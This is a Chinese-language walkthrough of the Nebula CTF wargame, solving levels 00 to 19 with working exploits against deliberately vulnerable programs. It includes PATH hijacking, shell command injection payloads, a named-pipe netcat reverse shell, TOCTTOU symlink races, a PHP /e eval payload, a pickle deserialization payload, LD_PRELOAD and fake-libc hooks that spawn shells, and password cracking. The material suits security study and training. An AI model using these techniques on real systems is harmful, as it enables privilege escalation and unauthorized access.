Nebula通关指南
level 00
这个一题的目的是找到一个suid
的文件,已经提示了是看find
的文档,很简单。用find
的-perm
选项即可。
level00@nebula$ find / -perm -4000 > res.txt
查找完成后会看到一个/bin/.../flag00
,运行后即可。
level00@nebula$ /bin/.../flag00
flag00@nebula$ getflag
level 01
给了一个程序的源码,让我们继续利用的suid去执行某些东西。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
分析源码,可以看到最后调用了system("/usr/bin/env echo and now what?");
,env
这个东西是从环境变量的PATH
里去寻找echo
的路径并执行的。但是环境变量有个特点,就是按照顺序从左向右寻找,例如:PATH=/path1:/path2
,那么查找echo
的时候,会先从path1
开始寻找。
所以我们只要在所有的PATH
之前加上一个可以控制的目录,并在里面放个echo
,运行这个程序的时候就会执行我们的程序了。
level01@nebula$ PATH=/tmp:$PATH
level01@nebula$ export PATH
level01@nebula$ echo $PATH
这样就把/tmp
加入了PATH
了最左边的位置。然后就可以在/tmp
下面新建一个echo
文件,做猥琐的事情了。
level01@nebula$ ln -s /bin/bash /tmp/echo
level01@nebula$ ./flag01
但是这样是不行的,因为bash
把后面的内容当作了命令,自然是提示找不到命令。我通过了一个技巧绕过了这个限制,在/tmp
下面新建一个文件echo
,写入如下内容即可:
#!/bin/bash
/bin/bash
运行试试
level01@nebula$ ./flag01
flag01@nebula$ getflag
level 02
依然是给了一段代码:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
通读代码,发现还是这个环境变量的问题,比较简单,只要设置USER
变量为'a;bash;'
即可。
level02@nebula$ USER='a;bash;'
level02@nebula$ ./flag02
flag02@nebula$ getflag
level 03
这个没有给源码,只是告诉我们有个crontab
文件,进去看一下,发现writable.d
目录是可写的,旁边还有个sh
文件,大意是运行writable.d
文件夹下所有的文件。这样一来就简单了,新建一个getflag.sh
,写入如下内容:
#!/bin/bash
/bin/getflag > /tmp/xxx.out
等一会就运行了,然后去cat /tmp/xxx.out,发现已经成功了。
PS:这些题目的flag判断是以目标账户执行程序为标准,只要使用目标账户执行了getflag,就算成功。
level 04
这个题给了我们一个程序的源码,让我们去绕过限制,读取token
文件的内容。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
通读代码,发现做了两个检测,一个是参数的数量,另一个就是文件名中是否包含token
字符串,很明显可以发现这个题的point
在如何绕过这个文件名的问题,使用软链接就可以啦!
level04@nebula$ ln -s /home/flag04/token /tmp/abc
level04@nebula$ ./flag04 /tmp/abc
level 05
看题意应该是权限的问题,我们到系统里看一下。
发现/home/flag05
下面有两个隐藏的目录,分别是.ssh
和.backup
,但是.ssh是因为权限问题进不去的。可是.backup
目录却可以进入,把里面的tgz
文件复制到自己的home
目录下,解压发现了公钥之类的一些东西,ssh
登陆127.0.0.1
就可以了。
level05@nebula$ ls -al /home/flag05
level05@nebula$ cp .backup/backup<tab> ~/
level05@nebula$ tar xf backup<tab>
level05@nebula$ ssh flag05@127.0.0.1
flag05@nebula$ getflag
level 06
只有一句我也看不太懂的话:The flag06 account credentials came from a legacy unix system.
先登陆进去看看。找了一圈啥也没有,无意间翻到了/etc/passwd中,发现了flag06这个用户的密码存储方式比较奇葩
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
直接丢给john the ripper
去破解,秒破。
# root at lightless-kali in ~ [22:09:08]
$ john password
Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
hello (flag06)
guesses: 1 time: 0:00:00:00 DONE (Mon Aug 3 22:09:14 2015) c/s: 48972 trying: 123456 - nutmegs
Use the "--show" option to display all of the cracked passwords reliably
# root at lightless-kali in ~ [22:09:14]
$ cat password
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
剩下的事情就不用多说了。
Ps:做完之后,想明白了题目的含义了,旧版本的unix
系统密码不都是这么存的嘛,所以说came from a legacy unix system
呀。
level 07
一个perl
程序,用于ping
检测的,第一想到的就是命令注入,先看看源码吧。
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
可以看到,程序接收一个Host
参数。
wget -O- "http://127.0.0.1:7007/index.cgi?Host=localhost"
这样会返回正常的结果,想办法弹个shell
回来,或者开个端口自己连上去,应该就是flag07
用户了。
wget -O- "http://127.0.0.1:7007/index.cgi?Host=127.0.0 || nc -vv -l 8888;"
这样确实可以,但是并没有编译-e
参数,意料之中,很多linux
的发行版考虑到安全问题都去掉了-e
参数,即没有指定GAPING_SECURITY_HOLE
常量。但是可以绕过的,需要一点技巧。
首先现在本地进行监听(切换到其他的tty去),依然选择回弹shell
的方式进行攻击。
nc -lnvp 8888
攻击思路是这样的:先创建一个管道,然后将shell
的环境的输入重定向给管道,然后把输出通过nc重定向到攻击者的一端,然后将shell的执行结果再重定向到管道中,这么说可能有些混乱,我们看一下代码。
mknod /tmp/backpipe p
/bin/bash 0</tmp/backpipe | nc 127.0.0.1 8888 1>/tmp/backpipe
然后我们把这里两条合起来加到我们的payload
中。
wget -O- "http://127.0.0.1:7007/index.cgi?Host=127.0.0 || mknod /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 127.0.0.1 8888 1>/tmp/backpipe"
这样一来,shell成功的弹了回来
level07@nebula$ nc -vv -l 8888
Connection from 127.0.0.1 port 8888 [tcp/*] accepted
whoami
flag07
getflag
You have successfully executed getflag on a target account
level 08
给了个pcap文件,从流量中分析出些什么猥琐的东西。
丢到wireshark
里,发现大概共100个数据包,只有两个IP,直接跟踪TCP流,看到了些有趣的东西。
..%..%..&..... ..#..'..$..&..... ..#..'..$.. .....#.....'........... .38400,38400....#.SodaCan:0....'..DISPLAY.SodaCan:0......xterm.........."........!........"..".....b........b.....B.
..............................1.......!.."......"......!..........."........".."................
.....................
Linux 2.6.38-8-generic-pae (::ffff:10.1.1.2) (pts/10)
..wwwbugs login: l.le.ev.ve.el.l8.8
..
Password: backdoor...00Rm8.ate
.
..
Login incorrect
wwwbugs login:
看起来好像数据包不完整,用那个密码也不能登陆成功。换成十六进制看看。
000000D6 00 0d 0a 50 61 73 73 77 6f 72 64 3a 20 ...Passw ord:
000000B9 62 b
000000BA 61 a
000000BB 63 c
000000BC 6b k
000000BD 64 d
000000BE 6f o
000000BF 6f o
000000C0 72 r
000000C1 7f .
000000C2 7f .
000000C3 7f .
000000C4 30 0
000000C5 30 0
000000C6 52 R
000000C7 6d m
000000C8 38 8
000000C9 7f .
000000CA 61 a
000000CB 74 t
000000CC 65 e
000000CD 0d .
问题一下子就出来了,0x7f
怎么会是一个点号呢,查了一下发现是backspace
,也就是退格键,试试我们的新密码吧:backd00Rmate
,后面的事情就不用多说了。
level 09
竟然给了世界上最好的语言。
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
还有个setuid的C程序,不过从源码中发现了在使用preg_replace
的时候用到了/e,这个参数已经在PHP5.5以上被废弃了。对于构造这样的payload,应该比较容易了。这里的代码也比较容易构造。
[email {${phpinfo()}}]
成功执行,至于你要问为啥,请移步:http://php.net/manual/en/language.types.string.php#language.types.string.parsing
继续构造执行命令的payload。
[email {${system("getflag")}}]
结果发现双引号被转义了,执行不了。但是函数还有个$use_me参数,应当算作提示吧。
[email {${system($use_me)}}]
最终结果如下:
$ cat /tmp/aa.txt
[email {${system($use_me)}}]
$ ./flag09 /tmp/aa.txt getflag
完成了。
level 10
题目做到这里就变得有趣起来了。
这个题给了一个C程序的源码,通读下来,是一个上传文件的程序,使用了access()
做了限制,通过限制后就会通过socket
把文件内容传输过去。
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
如果对*nix
不熟悉的同学,可能觉得这代码没啥问题。但实际上这是个TOCTTOU(Time of check to time of use)
的bug
。在分析前我们先弄明白两个东西,分别是Effective user ID
和Real user ID
。
ruid
的作用是Identify the real user
,而euid
的作用是Decides access level
。如果还不明白的同学请参考https://en.wikipedia.org/wiki/User_identifier#Real_user_ID
而这里的access()
检查的是ruid
,在access()
检查和使用open()
打开文件之间的这段时间里,我们完全可以替代掉打开的文件为token
,因为我们已经通过了检查。也就是说,用一个有权限的文件去绕过access
的限制,之后马上把文件替换成没有权限的token
,因为已经经过了检查,所以程序可以毫无阻碍的打开没有权限的token
文件。(在这个题中没有访问token
文件的权限,而flag
就在token
中)
现在来解这个题,首先我们需要一个循环脚本来不停的做链接来替换文件。/tmp/aaa
我们是有权限access
的,而token
则没有,所以要不停的替换,让access
的时候传入token
,然后就替换成token
文件。
while true;
do
ln -sf /home/flag10/token /tmp/ttt
ln -sf /tmp/aaa /tmp/ttt
done
接着把nc跑起来本地监听18211端口,接下来再写个循环不停的运行目标程序吧,剩下的事情就是看脸了。
while true;
do
/home/flag10/flag10 /tmp/ttt 10.211.55.2
done
然后看到了nc那边的输出,得到了token文件的内容。后面的事情就不用说了。
level 11
这题有点意思了,给了源码,题目说有两种方式完成本题。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
同样的也是先通读源码,一开始需要输入Content-Length:
加一个整数,如果小于1024
的话,会继续调用fread()
,如果大于或等于1024
的话,就会随机打开一个随机的文件描述符,然后把content
的内容复制到这个文件中,然后把这个文件中的内容读入内存中紧接着执行process()
函数,可以看到不管如何最终都会调用process()
函数,这个函数是一个十分简单的解密函数。
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
不是很难,很容易写出反解的脚本。
#!/usr/bin/env python2
cmd = 'getflag\x00'
length = 1024
key = length & 0xff
res = ""
for i in range(len(cmd)):
enc = (ord(cmd[i]) ^ key) & 0xff
res += chr(enc)
key = (key - ord(cmd[i])) & 0xff
print "Content-Length: " + str(length) + "\n" + res + "A"*(length - len(res))
需要注意的就是在命令的最后需要自己手动加个null
字节进行截断。源程序中还需要一个TEMP
的环境变量,设置一下。
$ export TEMP=/tmp
这样就完成了,但是题目说有两种解法,再回过头来仔细看看,发现了一个bug
,不知道是手抖还是故意的。
if(fread(buf, length, 1, stdin) != length) {
这一行代码,看起来没啥问题,我们看一下fread
的函数原型。
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);
The function fread() reads nmemb elements of data, each size bytes
long, from the stream pointed to by stream, storing them at the loca‐
tion given by ptr.
fread() and fwrite() return the number of items successfully read or
written (i.e., not the number of characters).
看完就明白了,这个fread
总会返回1,所以我们必须输入Content-Length: 1
,才能满足这个条件。
我们试一下:
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11
sh: $'y@z': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11
sh: $'yp5': command not found
发现每次都是随机的,但是有时候会出现这样的情况:
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11
sh: $ y: command not found
刚好出现了一个y,那我们新建一个脚本,名字为y,还是用PATH
顺序的方法让他优先执行我们的脚本。
level11@nebula:/tmp$ cat /tmp/y
#!/bin/bash
/bin/bash
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11
getflag is executing on a non-flag account, this doesn't count
为啥不算数,我觉得算数了啊,这明显是setuid
的程序通过system
调用的呀,迷。
level 12
一段lua
脚本,题目描述是一个backdoor
,监听在50001
端口。
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
先把那串hash
丢到CMD5
里去解一下,发现解不开,看了这个题的point
不在这里。
仔细读源码的话就会发现命令注入,在prog = io.popen("echo "..password.." | sha1sum", "r")
,没有过滤就代入了,直接构造payload就好了,比较简单。
Password: 123;getflag;#
然而没输出成功的消息,试试重定向:
Password: 123;getflag > /tmp/123;#
$ cat /tmp/123
成功了。
level 13
这个题同样给了一个源码,是通过getuid()
进行检查的,如果不等于1000
就退出。当然计算token的过程被略去了。
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#define FAKEUID 1000
int main(int argc, char **argv, char **envp)
{
int c;
char token[256];
if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}
// snip, sorry :)
printf("your token is %s\n", token);
}
通读代码,这时候有几个思路可是尝试下:
- 丢
IDA
里找到计算token
的过程,但是这么玩就没意思了。 - 改汇编代码,把
getuid
的判断结果改为当前用户的uid
。 hook getuid
这个函数,让其返回1000
,从而绕过判断。
我们一个一个来分析,先说第一个,纵然是最简单的,不费吹灰之力就得到了token
,只是把一串密文与0x5a
进行了异或操作。
第二个方法也比较简单,没啥好说的。
我们来看看第三个方法,劫持掉getuid()
函数。可能实现起来比较麻烦,但是可以通过环境变量LD_PRELOAD
来使事情变得简单。LD_PRELOAD
可以影响程序运行时的链接,这个变量允许你定义在程序运行时优先加载的动态链接库。
于是我们写一个程序mygetuid.c,内容如下:
#include <sys/types.h>
uid_t getuid(void) {return 1000;}
然后把它编译成so库文件: gcc -shared -fPIC mygetuid.c -o mygetuid.so
,接下来设置LD_PRELOAD
变量。
$ LD_PRELOAD="/home/level13/mygetuid.so"
$ export LD_PRELOAD
$ ./flag13
成功。这里需要注意一点,需要将/home/flag13/flag13
复制到/home/level13/
下面运行才可以,因为需要flag13
和这个so
文件的ruid
是一样的才可以。
level 14
这题目看着有点像密码学系列,这个程序会把输入加密,并且将密文输出,我们要做的是把加密过的token解开。
这题要么拿去逆一下,要么试试有没有规律输出。
输入aaaaaaa
输出abcdefg
,看起来好像只是简单的递增关系,第0个位置加0,第1个位置加1,以此类推,这样很快就能写出解密脚本。
#!/usr/bin/env python2
token = "857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW."
cnt = 0
res = ""
for i in token:
res += chr(ord(i) - cnt)
cnt += 1
print res
level 15
这个题,直接让我用strace
了,那就照做吧。结果发现这货在/var/tmp/flag15
这个位置寻找libc.so.6
,结果肯定找不到的。应该是在编译的时候指定了选项,因为正常情况下是会搜索/lib
和/usr/lib
两个路径,如果都未找到,按照/etc/ld.so.conf
里面的配置进行绝对路径的查找。当然可以通过环境变量LD_LIBRARY_PATH
进行指定,但是这个变量是全局影响,显然这题应该不是这么做的。
ld
关于这部分的选项主要有三个,分别是-L
、-rpath-link
和-rpath
,其中前两个都是在链接的时候用到的,而-rpath
则是运行的时候去寻找的,对于这部分不熟悉的同学,请参考题目给出的参考链接。
通过objdump -p flag15
命令,确实看到了指定了rpath
,是/var/tmp/flag15
,同时发现需要GLIBC_2.0
版本,于是在这里弄一个libc
试试。(RPATH
和LD_PRELOAD
的区别请自行百度,与setuid
有关。)
既然可以丢入自己的libc
库,直接劫持掉__libc_start_main()
吧,但是首先我们要解决掉版本问题。新建一个shell.c
,就写入下面这一行代码。
#include <stdlib.h>
进行编译:
$ gcc -fPIC -shared shell.c -o libc.so.6
运行flag15
后提示no version information
。那么写个version
信息试试。
新建一个文件version
,写入以下内容:
GLIBC_2.0{};
然后进行编译:
$ gcc -fPIC -shared -Wl,--version-script=version shell.c -o libc.so.6
继续运行flag15
,结果提示No version GLIBC_2.1.3 not found
,可能是指向了其他的GLIBC
,静态编译吧。
$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic shell.c -o libc.so.6
OK,版本问题解决了,现在是提示找不到__libc_start_main
了,这个好办,我们自己写一个。继续修改shell.c
,代码如下:
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
同时version
文件也要改一下:
GLIBC_2.0{
global:__libc_start_main;
local: *;
};
编译:
$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic libc.c -o libc.so.6
运行,获得了flag15
的shell
,搞定。
level 16
又给了一个perl
脚本,代码:
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));
听说又有命令注入:
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
很明显,username
处存在命令注入,要么弹个shell
回来,要么直接执行命令。这里对用户名进行了限制,会将其转换成大写,并且去掉第一个空格之后的任何内容。
对于第一个限制,可以使用Case modification
进行绕过。http://wiki.bash-hackers.org/syntax/pe#case_modification
对于第二个限制,可以采取如下方式
"</dev/null;pwnvar=/tmp/ttt;${pwnvar,,};#
在/tmp/ttt
中写入:
#!/bin/sh
/bin/getflag > /tmp/aaa
把payload
代入username
即可。后来发现,这样的payload
也是可以的:
`/*/MYSHELL`
其中MYSHELL
是一个shell
脚本。
level 17
这次给了个python
脚本。
#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
clnt, addr = skt.accept()
if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)
一眼就发现了关键点,pickle.loads(line)
。应该是在反序列化的时候出现了问题,导致可以执行任意代码。之前我的博客也提到过:http://lightless.me/archives/Python-Pickle-Code-Execute.html
但是在这里似乎比较麻烦,需要自己构造序列化以后的东西,当然利用类的__reduce__
方法也可以。
cos
system
(S'getflag > /tmp/res'
tR.
把这些内容保存到a.txt
,然后通过nc
发送过去,具体怎么发送都无所谓了。
level 18
给了C源码,有三种方式过关,难度递增。代码太长就不贴出来了。
不过这个题有点难度,栈溢出的话需要绕过栈stack canaries
,格式化字符串漏洞需要绕过FORTIFY_SOURCE
,可以看一下这篇文章:http://phrack.org/issues/67/9.html
感觉最简单的方法就是耗尽系统资源,关于这个题的解答可以看这里:http://v0ids3curity.blogspot.com/2012/09/exploit-exercise-improper-file-handling.html
level 19
看完18再来看这个简直是酸爽啊,突然觉得好幸福。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this program\n");
}
这个题也是要突破这个程序,通读下来,发现这个程序的流程是首先获取父进程的PID
,然后再根据这个PID
到/proc
下面找对应的文件夹,如果这个文件夹是属于root
的,就可以执行shell
了。
但是在*nix
中涉及到一个父子进程的问题,就是如果父进程死了,那么子进程就变成了孤儿进程,然后init
会把这个孤儿进程作为自己的子进程,而init
则是由root
启动的,这样就可以突破限制了。这代码是从网上找了一份,拿来改了改。
#include <unistd.h>
int main(int argc, char **argv, char **envp) {
int childPID = fork();
if(childPID >= 0) { // forked
if(childPID == 0) { // child
sleep(1);
setresuid(geteuid(),geteuid(),geteuid());
char *args[] = {"/bin/sh", "-c", "/bin/getflag", NULL};
execve("/home/flag19/flag19", args, envp);
}
}
return 0;
}
通关了
终于通关了,脑洞大开,各种黑魔法。